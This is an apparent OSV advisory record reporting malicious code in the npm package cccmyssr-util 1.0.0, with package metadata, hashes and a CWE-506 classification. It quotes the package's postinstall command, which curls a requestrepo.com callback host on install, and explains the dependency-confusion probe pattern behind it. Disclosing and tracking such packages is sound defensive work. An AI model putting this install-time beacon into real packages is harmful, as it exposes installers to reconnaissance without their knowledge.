{"id":"MAL-2026-6390","summary":"Malicious code in cccmyssr-util (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (99d23c8f1194f89f1b52e986cd57ca9c0fbd739a6565eb33c972f4fbaf0966e7)\nOn `npm install`, the package's postinstall.js unconditionally executes `exec('curl http://qvmjcw4s.requestrepo.com')`, sending an HTTP callback to a unique subdomain on requestrepo.com — a public out-of-band HTTP/DNS interaction service commonly used to confirm successful code execution on a target. The callback discloses the installer's public IP and a successful-install signal to the listener controlled by whoever registered the subdomain. The package presents itself as a trivial date-formatting utility (`index.js` exports a one-line `formatDate`), with empty author metadata and a generic `A harmless utility package` description; there is no legitimate rationale for any install-time network I/O. The cover-story metadata combined with an unconditional install-time beacon to an OOB inspection endpoint matches the reconnaissance/dependency-confusion probe pattern.\n","modified":"2026-06-24T15:18:03.740439541Z","published":"2026-06-24T14:07:30Z","database_specific":{"malicious-packages-origins":[{"modified_time":"2026-06-24T14:07:30Z","sha256":"99d23c8f1194f89f1b52e986cd57ca9c0fbd739a6565eb33c972f4fbaf0966e7","source":"amazon-inspector","versions":["1.0.0"],"id":"IN-MAL-2026-007439","import_time":"2026-06-24T15:01:18.083236482Z"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/cccmyssr-util/v/1.0.0"}],"affected":[{"package":{"name":"cccmyssr-util","ecosystem":"npm","purl":"pkg:npm/cccmyssr-util"},"versions":["1.0.0"],"database_specific":{"indicators":{"evidence_files":[{"path":"postinstall.js","sha256":"ef5f8be81a78eb60e8080f85a6da5b3732fe21ac0d59431bce2f9bf10bb26b49","tlsh":"87b012d149410538fa00a290fcb08173a017c050311055e4d0844450004d1c72272dfe"},{"path":"package.json","sha256":"6750e0cc8a4cd898be0b5a5026112ca5b39f709495f907dd5a61517065d105cf","tlsh":"82d0a7244e22967339d45b5a1a17454675655d5b01247c1c1bd7241c53df3b384ff319"}],"package_integrity":[{"filename":"cccmyssr-util-1.0.0.tgz","hashes":{"sha512_sri":"sha512-4muIZ1EvPcG+QrT9BWFmBZ4gHHEWdK1ELqz8eYl7LKVVuvs+W2ZFcCTC+NUAkgSnuzO1WAywGm9kDygrkFNJ3g==","sha1":"9716b27bde766b307aa4acad44269853b3a8be69"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/cccmyssr-util/MAL-2026-6390.json","cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}]}}],"schema_version":"1.7.5","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}